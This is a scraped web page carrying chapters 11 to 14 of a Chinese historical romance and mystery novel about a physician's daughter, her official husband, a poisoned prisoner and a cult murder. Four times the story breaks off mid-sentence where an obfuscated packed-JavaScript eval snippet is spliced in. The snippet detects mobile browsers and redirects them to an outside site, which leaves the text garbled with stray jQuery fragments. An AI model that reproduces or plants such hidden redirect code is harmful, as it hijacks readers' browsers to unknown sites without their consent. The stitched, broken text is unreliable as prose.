d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344504|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从惊吓上起来的。” “如此,周大娘你把起病之因细说。” 这时冬青冬葵拎了四把交杌来,慕容鸾音赶忙接过一把展开放到慕容文博身后,讨好乖笑,“爹爹坐。” 慕容文博嘴角微翘,勉为其难坐了。 慕容鸾音没坐,让周大娘夫妻坐,她就袖手立在慕容文博身后。 周大娘虚坐着,赶忙道:“那是五日前,铁蛋的一个朋友捉了个什么宝石头蛐蛐,卖了十两银子,铁蛋眼红,就喊着我们左右邻居家的孩子,统共四个人,约着一块到郊外山上捉蛐蛐,四个这般狗都嫌的孩子凑一块,调皮捣蛋,在山上疯玩疯跑,我们铁蛋就掉一个窟窿里了,另外三个孩子吓坏了,跑着回家找大人。” 说到这里,周大娘既恨的咬牙,又怕的脸发白,“我们夫妻俩拿着绳子,扛着梯子,着急忙慌赶过去捞孩子,下到窟窿里头就发现一具女尸,烂的比恶鬼还可怕,当时铁蛋躺在尸体旁边就是这样。” 周大娘举起袖子抹泪,“背回家五天了,话也不会说了,喂他水米也不会吞咽了,家底子也为给他治病用尽了,活也活不成,死也死不了,要了我的命了。” 周顺嘴唇哆嗦着小声道:“怕是被那窟窿里的女尸恶鬼把魂勾去了,这才、这才半死不活的。” “发现女尸可报案了?” 慕容鸾音循声望去,便见在讲学台上看见的那个异域博士朝这边走了过来,穿着天青色窄袖圆领袍,一步一叮当。 慕容文博就道:“这是你远房表哥胡狸,他曾祖母是咱们慕容家的出嫁女,原本住在襄阳,因一场大火把祖业烧光了,相依为命的祖父也病故了,他就听从他祖父的话拿着墨玉药兽佩来认亲,现如今我已收下他做关门弟子了。” 慕容鸾音心想,这人却没出现在梦境里过,想必是没什么交集的人,遂福身一礼,“见过胡狸表哥。” 今日慕容鸾音头上戴的是粉色水晶镶嵌而成的桃花式样簪钗,耳朵上的粉晶水蜜桃耳坠子,随着她福身行礼的动作而轻轻摇曳。 她刚刚大哭过一场,眼睛、鼻子都红红的,本就生得一张娇媚艳丽的脸,经泪水洗过,越发粉艳澄净。 胡狸心上陡起一阵波澜,恍若幻视自己曾养过的那株粉色山茶花化形成人了。 慕容鸾音见他没有还礼的意思,竟是傻子似的呆愣在那里,她就自己直起身子来,好奇的细细打量他,心里不由得想,真是一张不输萧远峥的俊容。 呸,怎么又想起他来。他是心思诡谲,在宦海中浸透了的权势人物,说不得心都黑了一半了。 这位胡狸表哥却还是一身少年气,年纪又轻,他哪里配和人家比。 胡狸略有些结巴道:“见过、见过……不知表妹唤作何名?” 就在这时,又有人走进了后院,慕容文博瞥见是他,立时抚须笑道:“这是吾家乖宝,你叫她阿音便是。” 萧远峥星眸沉冷,淡淡道:“岳父大人,我夫人的闺名岂可为外人所知。” 11. 第011章 除恶有功 慕容文博微微侧身避开萧远峥冷肃迫人的目光,故意用在场众人都能听到的音量嘀咕道:“一个是我闺女,一个是我关门弟子,又不是外人,我说可以就可以。” “你来做什么?”慕容鸾音可不会自作多情的以为,他是追着自己而来。 萧远峥看着慕容鸾音哭过的面容,顿了顿又看向慕容文博,“大理寺狱有个要犯被人投毒,昏迷不醒,汤药无效,大理寺的医官是您的弟子,说您有一手针灸祛毒的治疗之法,故此特意来请。” 胡狸本正在打量萧远峥,越看越觉得在哪里见过,忽听萧远峥提起大理寺,立时激动起来,“我知道你是谁了,我认得你!” 萧远峥眼睛微眯,冷漠的瞥向他。 胡狸呼吸急促,脸也激动的红起来,“多年前,您是宛平县令,审理一宗艳妻伙同奸夫谋杀丑夫的冤案,学生当时就在县衙门口旁听,当时就被您抽丝剥茧的推理手法,冷静睿智不为舆论裹挟的坚定所折服,您、您是我辈楷模,学生自幼就对推理破断查找真相有浓厚的兴趣,立志要成为像包公、狄公和您一样为民洗冤的人,学生、学生要拜您为师。” 一边说着一边就郑重跪下,虔诚的仰望着萧远峥。 慕容文博立时气的吹胡子瞪眼,藏在袖子里的手微微颤抖,“你这个胡狸,既拜了我为师,怎么又拜他人,岂有此理!” 胡狸连忙赔笑道:“师父,忘了告诉您,我是杂家,除了您我还有八个师父,若、若萧青天能收我为徒,我就有十个师父了。” 慕容鸾音睨一眼萧远峥,微微撇嘴,在外头就是青天大老爷,怎么对她就跟地狱恶鬼似的,哼。 萧远峥一甩袍袖,淡淡道:“不收。” 就在这时被遗忘在躺椅上的铁蛋双眼凸起,身体绷直,剧烈喘息起来,周大娘连忙哭喊,“慕容老爷,您快救救我家幺儿吧,我给您跪下了。” 慕容文博当即便道:“阿音你来。” 慕容鸾音先是微讶,紧接着就深吸一口气,拿出金针布包走向铁蛋,“是。” “掌面中指四缝穴。”慕容文博看着慕容鸾音准确无误的刺中之后,紧绷的身躯微微松弛,眼里有了笑意,越说越快,“掌面无名指还巢穴,食指大间穴,头顶中央正会穴、州圆穴、后会穴、总枢穴,最后一针镇静穴。” 当慕容鸾音刺入镇静穴时,铁蛋绷直的身体慢慢软和了下来,凸起的眼珠恢复,喘息也趋向平缓。 萧远峥扫视一眼周大娘周顺夫妻,“你们是我府上的?” 周顺连忙跪到萧远峥脚边,道:“是、是,奴才是马房喂马的周顺,奴才的老婆是花草房的,我们求到世子夫人头上,夫人心善,亲自带着奴才们来找慕容老爷救命。” 胡狸赶忙凑到萧远峥身畔卖好,“他俩的孩子掉入一个窟窿里,被里头腐烂的女尸吓掉了魂,大人,郊外山上有命案发生。” 胡狸满眼写着,师父,我们一起去查案吧! 萧远峥望着慕容文博背在身后细微抖颤的衣袖若有所思,并不理会胡狸,而是道:“慕容博士,请随我前往大理寺救治要犯。” 慕容文博挠挠头,猛地伸出手,撸起袖子,“你自己看。” 慕容鸾音也跟着抬眸看去,心头顿颤,不可置信,“爹爹你的手……” 慕容文博垂下袖子,叹气道:“我平生唯一喜好喝美酒,戒也戒不掉,不曾想到了这个年岁就有了这个毛病。萧大人,你这趟公差我本该去,奈何手废了,捏不稳针了。” 慕容鸾音心里刺痛,恍然明白了什么,红着眼睛问道:“爹爹,是什么时候的事情?” 慕容文博抬手抹去慕容鸾音脸上的泪,笑道:“三年前就有预兆了,我尝试戒酒,可戒酒后这两只手反而抖的越发厉害,我就认命了。好了,别哭了,先给病人治病要紧。” 萧远峥却道:“我方才见你们父女合手治病,配合十分默契,慕容博士,能否依照此例行针灸祛毒之术?” “不是我向你们夸耀。”慕容文博当即挺起胸膛,抚须笑道:“我家乖宝的针灸术还在我之上,她第一回捏针刺穴就能觉知到在脉穴中流动的气感,这就是她的天赋了,她本该是我慕容家医学的继任者,奈何……罢了,治病要紧。萧大人先等一等,这小幺儿的病更危急,先治他,阿音,咱们父女先带着病人去郊外找那女尸。” “我那里的病人亦是危在旦夕,耽误不得。郊外的女尸命案大理寺接了,我即刻派人去把尸体带回大理寺,趁此期间,慕容博士同我一起前往大理寺先治要犯,如何?” “也可。” 胡狸立时高高举起手兴奋的道:“萧大人,您派我去收尸吧,尸体附近若有凶徒遗留的蛛丝马迹,我都可以察觉出来,我也会分析案情,还曾拜过一个仵作师父,我懂验尸。” 萧远峥定定打量他一回,不置可否,转身看一眼抱着慕容文博手臂的慕容鸾音,道:“马车已在学馆外静候多时,请。” 于是,周顺慌忙背起铁蛋,周大娘在旁扶着,紧紧跟在后面向外走去。 慕容鸾音只留下了碧荷,让其余人等先回元宝巷慕容家,说明情况,免得阿娘和哥哥在家里等急了。 慕容文博走到前院,吩咐一个弟子熬回魂汤与五脏净毒汤,熬好之后即刻送去大理寺,这才带着慕容鸾音和碧荷登上了大理寺来请人的马车,马车穿着墨青色的车衣,车衣上赫然印着联珠獬豸纹。 那獬豸纹与大理寺正门门口蹲踞在须弥座上的獬豸一般无二。 墨青马车经过獬豸石像没有停下,而是去了侧门径直驶入,走夹道,穿过四重高墙在一面黑漆大铁门前停了下来。 慕容鸾音扶着碧荷的手从马车上下来,就见铁门上方一块石匾上刻着“大理寺狱”四个字。 彼时,天字号牢房中,一个穿囚服,披头散发的中年男子正躺在一张稻草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344505|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为褥的木榻上,双目紧闭,脸色青白。 慕容文博入内后,先诊脉,后扒开他眼皮查看了一番,就抬头看向牢房外站着的萧远峥,道:“你想保住他的命,还是其他?” “只要能让他醒过来开口说话即可。” “那就好办了。阿音,你过来。” 慕容鸾音上前,见躺着的这人囚服染血,十根手指红烂露骨,便知是被用过重刑了,禁不住一边展开金针布包一边问道:“他犯了何罪?” 慕容文博脸色大变,低声呵斥,“这里是大理寺狱!阿音你记着,我们是医匠,只问病症,其他的莫问莫管,装聋作哑方能明哲保身。” 慕容鸾音禁不住看向萧远峥,今日他身上穿的是宽袍大袖的绯红公服,头上戴的是展脚幞头,此时他垂袖背手站在灯火下,虽面容冷肃,却仍旧不掩神仪明秀。医匠可莫问莫管以保身,那他呢? 慕容文博将病人翻过来,令其呈趴伏状,头颅垂下,又抽出一把稻草折弯撑开他的嘴,紧接着就道:“定神,下针。” 慕容鸾音连忙轻晃脑袋,把脑袋里不该想的都泯灭掉,“是,爹爹。” “在肩胛骨与肱骨连接之处,分枝上穴、分支下穴,向内斜刺,深入一点五寸。” 慕容鸾音照做,捏着针道:“爹爹,他此处的皮肉厚实,还需再深入半寸。” “你为持针者,听你的。”慕容文博紧接着又道:“接下来要为他催吐,止吐需行七星穴,催吐又该如何?” “逆行七星。” 慕容文博后退两步,抚须点头,“阿音,此时治他是以苏醒为目的,大胆施针吧。” 慕容鸾音深吸一口气,在布包中拔出了长毫针。 所谓七星穴,是因后颈部总枢穴、分枢穴、时枢穴,两旁支禹穴、士禹穴,这七个穴呈北斗星排列而得名。 自上而下,刺入为顺行,自下而上刺入为逆行。顺行止吐,逆行催吐,经脉断裂,吐出毒血。 慕容鸾音在刺入前六个穴位时,手速极快,直至要刺入最后一针时,她弃用长毫针,拿起了三菱针,额上沁出薄薄一层汗,不由得看向萧远峥,颤声问,“真的只让他苏醒便可,是吗?我这一针下去就是、就是催命了。” 萧远峥走入牢房,在她身后站定,清声道:“他卖官鬻爵,草菅人命,死有余辜。你若能让他醒来,吐出他背后那一群贪婪饕餮,是除恶有功。” 慕容鸾音举起袖子擦去额上汗水,轻点了下头,从始至终,捏着三菱针的手不见一点汗,不见一丝颤抖。 “好,我知道了。” 话音落,三菱针深深刺入只留一点根,捻弄三个呼吸的功夫,当即拔出,黑血沁出。 垂头趴伏在床边的范成德忽的有了反应,身体痉挛,黑血从他被撑开的嘴里流了出来。 慕容鸾音白着脸道:“他怕是活不过今日了。” “你们出去吧。” 12. 第012章 除恶胎 待得慕容氏父女离开牢狱之后,萧远峥一抬手,就有狱卒搬了一套桌椅进来,左寺丞郭照摆好笔墨纸砚,坐定后就拱手道:“大理卿,下官已准备周全。” 彼时,前吏部左侍郎范成德已然能坐起来了。 “范成德,你背后的人企图杀你灭口,你还要死咬着不说吗?” 范成德缓缓抬起头,露出一双嫉妒满溢的三百眼来,“萧远峥,郧国公府世子爷,十八岁中状元,成为天子门生,深得帝心。初入官场就是从六品翰林院修撰,皇帝巡幸京城内外,都令你随扈左右,时常召见,多次起草诏书。” 范成德咬牙说到这里,呕出一口黑血来,呵呵讥笑两声又接着道:“一年后,升迁正六品宛平县令。又两年,你仅仅才二十一岁就又升官了,成了正四品顺天府丞。不久后,顺天府尹告老还乡,你顺利坐上了顺天府尹的位置。又三年,皇帝亲自下旨调任你为大理寺卿,大理寺卿啊,九卿之一,一部长官。那是多少像我这样的寒门学子,给人做狗一辈子都够不到的高位啊。” 范成德从木榻上跌落在地,蓦的背过萧远峥与郭照,趴伏在破烂的稻草褥子上哭,肩膀一耸一耸的。 郭照当即怒声道:“我们大理卿的政绩都明明白白写着呢,离任宛平县令时有万民伞,百姓跪送,有青天大老爷的美名,任顺天府尹时,理空大量积压案件,每案必还人清白,令真凶伏法,若涉及皇亲国戚、高官显贵时,从来都不畏强权,顺天府尹这个位置,除了我们大理卿,还有谁敢这样有作为。反观范大人你呢,你也官至正三品,你的高位却是踏着他人血肉爬上来的,你哭的让我恶心!” 范成德弓起身子冷笑,“我若有个开国功勋的祖宗,我也能不畏强权,秉公执法,若能做人,谁想当狗!” “得了吧。”郭照举起手中厚厚一沓的罪证,“你二十八岁中榜眼,半年内就把为供养你考学刺绣绣瞎了眼睛的糟糠妻抛弃,欢天喜地迎娶了致仕张阁老家的庶女,从此以后,你就开始了你攀权附贵的一生,你可不是被迫的,你是绞尽脑汁纳了投名状,流着哈喇子挤进去给人当狗的。你若真有个开国功勋的祖宗,怕早和那些人一起同流合污,生怕挖不断国家根基,我呸!” 就在这时,范成德忽的从稻草褥下抽出一根竹片,就往自己颈侧血管上划去。 萧远峥冷眼看着,自指间弹出一枚香丸,正中范成德握着竹片的手背。 却原来,给范成德躺过的这张木榻的榻面被蛀虫吃朽坏了两根,狱卒补上了两根竹片,手法粗糙,露了一节在外头。 范成德“啊”的一声痛叫就下意识松了手。 郭照连忙上前捡走竹片扔出牢房,怒不可遏,“你、你竟然想自尽!” 萧远峥冷笑道:“范成德,想必昨日给你传递毒药和讯息的狱卒忘了告诉你,前日夜里,有黑衣人潜入你府上,把你全府上下杀的鸡犬不留,又放了一把火。” 范成德三白眼中的红血丝仿佛一下子爆开了,“你胡说,他们答应过我,只要我把所有罪都揽在自己身上,他们会保全我儿孙的性命,待将来事情过了,会在我儿孙中选出可保举的,一路保举到首辅之位!” “你也是在黑水缸里洗过澡的,怎么成了阶下囚竟生出天真来。”郭照从证据箱中拿出一枚破损沾血的蟾宫折桂金镶玉玉佩来递到范成德面前,“看看吧,这可是你寄予厚望的小儿子身上的东西?我们收尸时,你那小儿子被人一刀割喉,死的倒是不受罪。” 范成德捧起蟾宫折桂的玉佩,摩挲着、摩挲着,两眼中淌出血泪来,疯癫一般大笑两声,“我寒窗苦读,我不择手段、坏事做尽,只为了往上爬,爬的高高的,到头来什么都没了。我给他们当狗,他们竟真把我当狗了。” 范成德蓦的抬起头来,眼中射出疯狂的光,“萧大人,我说,可是我敢说,萧大人敢听吗?敢如实记录吗?到时候,怕老郧国公也保不住你。” “我身后是陛下,有何不敢。”萧远峥垂袖背手,眉目清冷,淡淡道:“你们以为陛下是老骥伏枥,烈士暮年,殊不知,陛下仍旧志在千里,壮心不已。” “陛下还举得起屠刀?” “陛下亲口说,查出一个杀一个,千也罢,万也罢,杀杀杀!” “好,倘若黄泉路上真有那些拿我当狗使的权贵作陪,我死也瞑目!” 话落,范成德向萧远峥拱手一揖,“请萧大人给我一壶送行酒。” · 大理寺殓尸房。 大理寺左少卿孟凡尘已带着衙役将女尸带回,盖着白布摆在了尸床上。 彼时,慕容文博交待弟子熬的回魂汤和五脏祛毒汤也被送到。 慕容文博心想,这一盅五脏祛毒汤是用不上了,就让弟子带回,又对周大娘周顺夫妻俩道:“你们这个小幺儿得的是惊惧失魂之症,和你们说白一点就是,人在受到承受不住的恐惧时,倘若能大叫大哭出来,事后发发高热也就好了,你这小幺儿当时掉入窟窿,只他自己一个,没能发泄出来,被阴邪之气所侵,存于心脑,故此若治此症,需下重手,以毒攻毒,此法要么生,要么死,你们二位再考虑一番,是否要用此法。” 夫妻俩对视片刻,周大娘一咬牙站起来,“我们求一个痛快,活了我们就养,死了我们就埋,为他也尽了心了。” 慕容文博点点头,“阿音,今日爹爹教你如何治此症。” “爹爹,你稍等我一下。”慕容鸾音实在忍不住了,连忙把自己的一张帕子剪成两半,卷成条状塞入自己鼻孔,“爹爹,我可以了。” “不孝女,给爹爹也来两条塞鼻子。” 在一旁的碧荷连忙贡献出自己的帕子来。 如此,父女俩才算准备好。 慕容文博对周大娘夫妻俩道:“剥掉孩子上半身的衣裳,把孩子架到尸体旁,一会儿阿音负责施针,你们负责叫魂,你们想要孩子回来的心越诚,孩子的魂回来的可能越大。” 周顺架着孩子一条胳膊,磕巴道:“怎么、怎么叫?” “呼喊他的名字。就是让他知道,他父母就在身边,不要怕,快回来的意思。” 周大娘架着孩子另外一条胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344506|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊,流着泪重重点头,“我懂了。” 站在一旁用帕子捂着口鼻的胡狸连忙道:“师父,我祖父是道士,我见我祖父给人叫魂时都撒白糯米,烧黄纸钱,咱们行医的不用吗?” “医、道各有其法,不必拘泥,殊途同归。”慕容文博猛地扯开盖尸布,“阿音,刺其头顶前会穴,迫其睁大眼,其次通关、通山、通天三穴,强固心气。你后退让开,令其直视恐惧之源。父母可以叫魂了。” 在铁蛋睁大眼看向女尸时,慕容鸾音也看见了,女尸呈现半腐烂状态,有蛆虫从七窍中爬出,这还罢了,她的腹部是被剖开的,像被掏空了内脏的猪…… 慕容鸾音再也忍不住,捂住嘴就向外跑去,一头撞进萧远峥怀里。 四目相对,慕容鸾音蓦的推开他,扶着门框就吐了。 这时碧荷也捂着嘴跑了出来,萧远峥见状避开她们主仆就走了进去。 忽的,房内传出周大娘一遍又一遍的哭喊声,“儿啊,回家了,儿啊,你莫怕,阿娘在,阿娘为你赶走妖魔鬼怪,你莫怕呀,你快回到阿娘身边来。” 这一声声的哭喊好似真有驱鬼逐魔的力量,把慕容鸾音心中的恐惧也驱散了,翻绞的胃也平息了下来。 就在这时,房中又传出一道喉咙撕裂般的刺耳喊叫声,似喊出了无尽恐惧。 “阿音进来!” 慕容鸾音提裙跑回,捏起金针就道:“爹爹,我在。” “正会、州圆、胆穴、止涎、镇静。” 慕容文博说出一穴,慕容鸾音就刺入一穴,慕容文博语速加快,慕容鸾音手速亦快。 慕容文博见状,眼眶微湿,暗暗怒瞪萧远峥好几眼。 彼时,铁蛋的嘶喊声渐渐降低,眼珠子开始转动,一会儿看向母亲,一会儿看向父亲。 周大娘见状,举起拳头要捶他,又怕误碰了针,哭着道:“作死的鳖孙,你给老娘等着。” 直至铁蛋声音嘶哑,无力软下身体,慕容文博才笑眯眯开口,“你们回去后,他应该会发高热,也不用服汤药,你们用烈酒给他擦身,你们两口子亲自擦,晚上搂着他睡五六夜就好了,若是有余力,就买些鸡鸭鱼肉吃吃,补足气血就更周全了。如同一场噩梦,梦醒了,什么事儿都没有。” 待得慕容鸾音从铁蛋身上收回全部金针,一家三口都跪下了。 周大娘更是哭着道:“世子夫人,慕容老爷,你们的大恩大德奴婢不知怎么报答才好,先给你们磕三个头吧。” 慕容文博抚须笑道:“你们的诚心我收到了,回家去吧。” 慕容鸾音目送他们一家三口离开,又看向萧远峥,心想,有些噩梦,梦醒了无痕,可有些噩梦却有预警的作用。 这时胡狸搓搓手,兴奋的凑到萧远峥身边,指着女尸道:“萧大人,我有八分的把握断定,这定是弥勒教教徒所为,弥勒教是近年来兴起的邪教,他们蛊惑教众除恶胎,积来世福泽,祈盼死后能投生到富贵人家。” 慕容鸾音好奇问道:“什么叫除恶胎?胎儿在肚子里就能分出好坏了?” 13. 第013章 提出和离 胡狸一转脑袋,小辫子上的金铃铛叮当一声,他不敢直视慕容鸾音,而是看着女尸回答道:“襄阳城曾发生过弥勒教教徒除恶胎事件,当时我是知府楚大人的幕僚,奉命探查,抓获了凶徒,据那凶徒所说,他们的弥勒神显灵,说地狱之门被邪恶鬼王打开,从地狱之中逃出了无数恶鬼投胎成人,弥勒神为协助阎王将恶鬼抓回,敕令教众除恶胎向阎王卖好,阎王欠了你的人情就会把你投胎到富贵人家。” 这时萧远峥拿起验尸用的镊子,从女尸眉心处拔出一根红色钉子来,“你说的这个案子,我在刑部送到大理寺覆审的卷宗里看到过,证据里就有这么一根涂抹了朱砂的铁钉。” “果然是我钦佩的萧大人,做咱们这行的,记性好、观察细微是首要特质。”胡狸抬起头,目光炯炯的看着萧远峥,“这铁钉被那些邪教徒叫做镇魂钉,他们剖杀了一个母亲的孩子,又怕母亲化成恶鬼为子报仇,就想到了这种阴毒的法子。” 慕容鸾音再看眼前女尸时,再没了恐惧,只为她感到痛苦。 “等等,那些邪教徒是怎么分辨恶胎还是好胎的?” 胡狸快速瞅慕容鸾音一眼,叹气道:“要么说是邪教徒呢。” 慕容鸾音震惊,浑身发寒,“你的意思是,他们只凭自己喜好分辨?” 慕容文博拉着慕容鸾音的手就往外走,“别管了,那是大理寺的事情,咱们快回家去,你阿娘你哥哥该等急了。你不是回来送中秋节礼的嘛,可有美酒?” 慕容鸾音登时气呼呼道:“没有,再也不会给你送酒了!” “师父、师父你等等我,我也跟你们一道回去过节。” “胡狸。”萧远峥蓦地喊住他,“你真想拜我为师?” 胡狸一脚都跨出门槛了,闻声回转,一双大眼睛“噌”的一下亮了起来,“萧大人愿意收我了?” 萧远峥看着女尸被挖空的腹腔,道:“这女尸案我交给孟少卿特查,你跟着打下手,侦破此案后,我可以斟酌。” “遵命!” 萧远峥一面向外走一面道:“早些为这女尸洗冤,她的魂魄就早些安息,查案去吧。” “是,师父,我即刻着手探查。” · 且说慕容鸾音的母亲何赛仙,哥哥慕容韫玉,自打知道慕容鸾音今日回娘家,何塞仙就告知要来找她医病的夫人改日再约,将花厅的时令鲜花换成了山茶花,红的、粉的、黄的、紫的,白的,凡是市面上有的,都买了回来摆在花几上,又吩咐身边的大丫头去蜜饯铺子买了好些慕容鸾音爱吃的蜜饯回来。 慕容韫玉亦推了应酬,把去外地巡查铺子买回的特产,如松江布、苏州宋锦、金陵云锦、杭州龙井等都拾掇了一大堆装满两个提手大板箱,留待给慕容鸾音带回。 慕容韫玉之妻潘素馨见婆母和夫君都这般重视,依样画葫芦,一大早就去厨房亲手做了慕容鸾音爱吃的玉露团、元宝糕、菱粉糕这三样糕点,拿玛瑙盘子装着,亲端到何赛仙跟前邀功。 一大早,慕容韫玉就令把大门敞开,只等着迎接慕容鸾音归家,谁知只等来了两大车中秋节礼。待得茯苓说明了情况,慕容韫玉既欢喜爹和妹妹冰释前嫌,又担心妹妹三年不拿针手生,若误了大理寺的公差妹丈岂能轻饶,越发不待见妹妹了可如何是好。 谁知,这一等就等到了黄昏日落。 慕容韫玉正歪在花厅榻上睡觉呢,忽听得有人回话:“大姑娘到家了。” 慕容韫玉一下子醒过来,睁开眼就见慕容鸾音就坐在榻边上,手里拿着根孔雀翎羽作势要挠他鼻子。 慕容韫玉一把握住慕容鸾音使坏的手,欢喜道:“淘气,被我抓了现行了!” 说着话就夺走慕容鸾音手里的孔雀翎要去挠她的鼻子。 慕容鸾音笑着躲开,“哥哥我等你一起赏月吃酒。” 话落,先一步走了出去。 潘素馨走上前来为慕容韫玉整理衣冠,笑道:“你也别急,家宴在琅嬛仙台都置备齐整了,等你到场才开席。” 慕容韫玉一边穿掐金丝的鹿皮靴一边懊恼道:“你怎么也不叫醒我,妹妹可是饿坏了吧。” “你心疼妹妹,妹妹也心疼你,只说不饿,让你睡醒了再说。” 夫妻俩说着话,一同赶往后花园的琅嬛仙台。 琅嬛仙台建造在一片荷塘之上,只有雕花立柱而无棚顶,专为赏月。 此时,仙台上的莲花石灯全部被点燃,明亮如昼。 慕容鸾音举杯邀月,望着此时荷塘月色的美景,一口饮尽杯中酒。 见哥哥嫂嫂到场坐定,就鼓起勇气开口道:“爹爹、阿娘,哥哥嫂嫂,我想和离。” 慕容文博和慕容鸾音同车而回,在路上就知道了,故此一点也不惊讶,照常夹起一块桂花熏肉放进嘴里,没言语。 何赛仙原本正用蟹八件给她拆蟹肉,闻言才挖出来的一块蟹黄都掉了。 慕容韫玉呛了一口酒,放下酒杯就看向坐在上头的父母。 潘素馨正在给小儿子喂八宝饭,一听慕容鸾音说和离,一颗心都不由得提了起来,但她抬眼打量一圈,打定主意不做第一个开口劝解的。 慕容鸾音连忙道:“爹爹,你怎么不说话,你不是从一开始就不同意我嫁他吗?这会儿我想和离了,你怎么不见高兴?” 慕容文博叹气道:“此一时彼一时。在你的婚事上,我和你祖母原本的确是有分歧。” “是呢,关于我的婚事我也有满心疑惑要问。那时我待字闺中,婚姻之事只凭父母之命媒妁之言,不该我知道。”慕容鸾音的目光在父兄脸上一一扫过,“但是现在,我能知道了吧,祖母是怎么为我争取到的这场高嫁?哥哥你说。” 慕容韫玉想了想就道:“妹妹,哥哥没有继承祖父的才华,不是读书的料子,任凭祖母如何鞭策只勉强考中一个秀才,但是祖母是个有能为的,利用咱家那些祖传的成药方子,借助郧国公府的威势,把咱家药铺开遍了大魏朝每一座城池,不说日进斗金,但也差不太多,咱家是一块远近闻名的香喷喷的大肥肉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344507|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这个我想到了,祖母分我一半家产充作嫁妆把我嫁进郧国公府,就是担心她死后,我们慕容家和萧家的关系生疏,故此联姻。”慕容鸾音情不自禁握紧拳头,“我们付出的是一半家产,祖母要求萧远峥娶我为世子夫人,除此之外,还有什么?” 慕容文博饮尽一口花雕酒,道:“当年,你祖母自知命不久矣,就与你舅外祖在萧氏祠堂,他们父母的画像前约定,慕容氏将一半家产不经你手,直接送到你舅外祖手上,与此同时要求萧氏正嫡必须从你腹中降生。” 慕容韫玉垂眸掩下泪意,“祖母所做一切,都是为了巩固你在萧氏的地位,确保万无一失。” 慕容鸾音想到祖母为自己做的一切,流下泪来,“倘若、倘若我坚持和离,会还给我们吗?” “傻话。”慕容文博抹一把脸,笑着道:“跟爹爹一样傻。爹爹一开始想的是把你留在家中继承家学,给你招婿,直接把一半家产给萧氏,交换他们的庇护。但你祖母把我骂个狗血淋头,她活着还罢了,一旦她死去,你舅外祖也死去,难保萧氏不会有人心生歹念,把我们这一半也给吞了。我又说,那就全部给萧氏,慕容氏在没祖坟冒青烟出了你祖父这样一个状元郎之前,世代都是小富即安,大不了过回那样的日子,你祖母就让我一个月不许喝美酒试试。” 慕容鸾音当然知道,爹爹喝的美酒,每一坛都不便宜。 慕容韫玉抚着自己挂在腰上的镂空凤凰叠宝纹金玲珑熏香球,接口道:“由俭入奢易,由奢入俭难,还是其次。都知道咱家有祖传的方子了,这些方子都能下金蛋,倘若我们回归小富即安,保得住吗?舍得给吗?即便都给出去了,外人又会信吗?死后又如何向列祖列宗交待。” 何赛仙把慕容鸾音搂到怀里,关切问道:“他打你了?” 慕容鸾音摇头。 “那是他有了外心,宠妾灭妻,不给你正室的尊荣?” 慕容鸾音又摇头,在梦境中,直到她死之前,她郧国公夫人的位置都很稳固,在外交际时,那些夫人都羡慕她“御夫有术”,首辅大人从始至终只她一个。 何赛仙一下子放心了,挖出一小勺蟹黄来喂她嘴里,嗔怪道:“吓我一跳,我还当什么呢。在我看来,你祖母给你安排的这桩婚事,给你找的这个夫婿,除了忙碌一点再没有什么可挑剔的。且不说家产庇护的事儿,一旦和离,你再想找一个似他那般的人中龙凤是绝无可能了。” 潘素馨这才笑着道:“妹妹,我娘家武诚伯府也是勋贵人家,不是我揭自家的丑事,我的那些兄弟没有一个成器的,个个仗着祖荫吃喝玩乐,安享尊荣,像萧世子那样,家世尊贵,自己又那般争气,屋里也干干净净的,真真凤毛麟角,你可别身在福中不知福。” 慕容鸾音低下头,哭着小声道:“可他、他不爱我,我不要和不爱我的人过一辈子。” 她声音虽小,紧挨着她坐的慕容韫玉却听见了,只觉得哭笑不得。 “爹、娘,素馨,你们都走,我有法子劝解她。” 14. 第014章 你求我 一时,琅嬛仙台上只剩兄妹俩,秋风拂来,山茶花的香气沁人心脾。 慕容韫玉将碧荷送来的滚白狐毛绛红披风裹到慕容鸾音身上,又给慕容鸾音倒满一杯石榴酒,笑眯眯的喂到她嘴边,“我要问你一句话,你先喝了这杯。” 慕容鸾音不疑有他,就着他的手一口喝净。 “阿音,你说他不爱你,那他可愿意与你欢好?” 慕容鸾音微微酡红的脸一霎彻底红透,举起拳头就使劲捶了他胸口两下,“哥哥!” 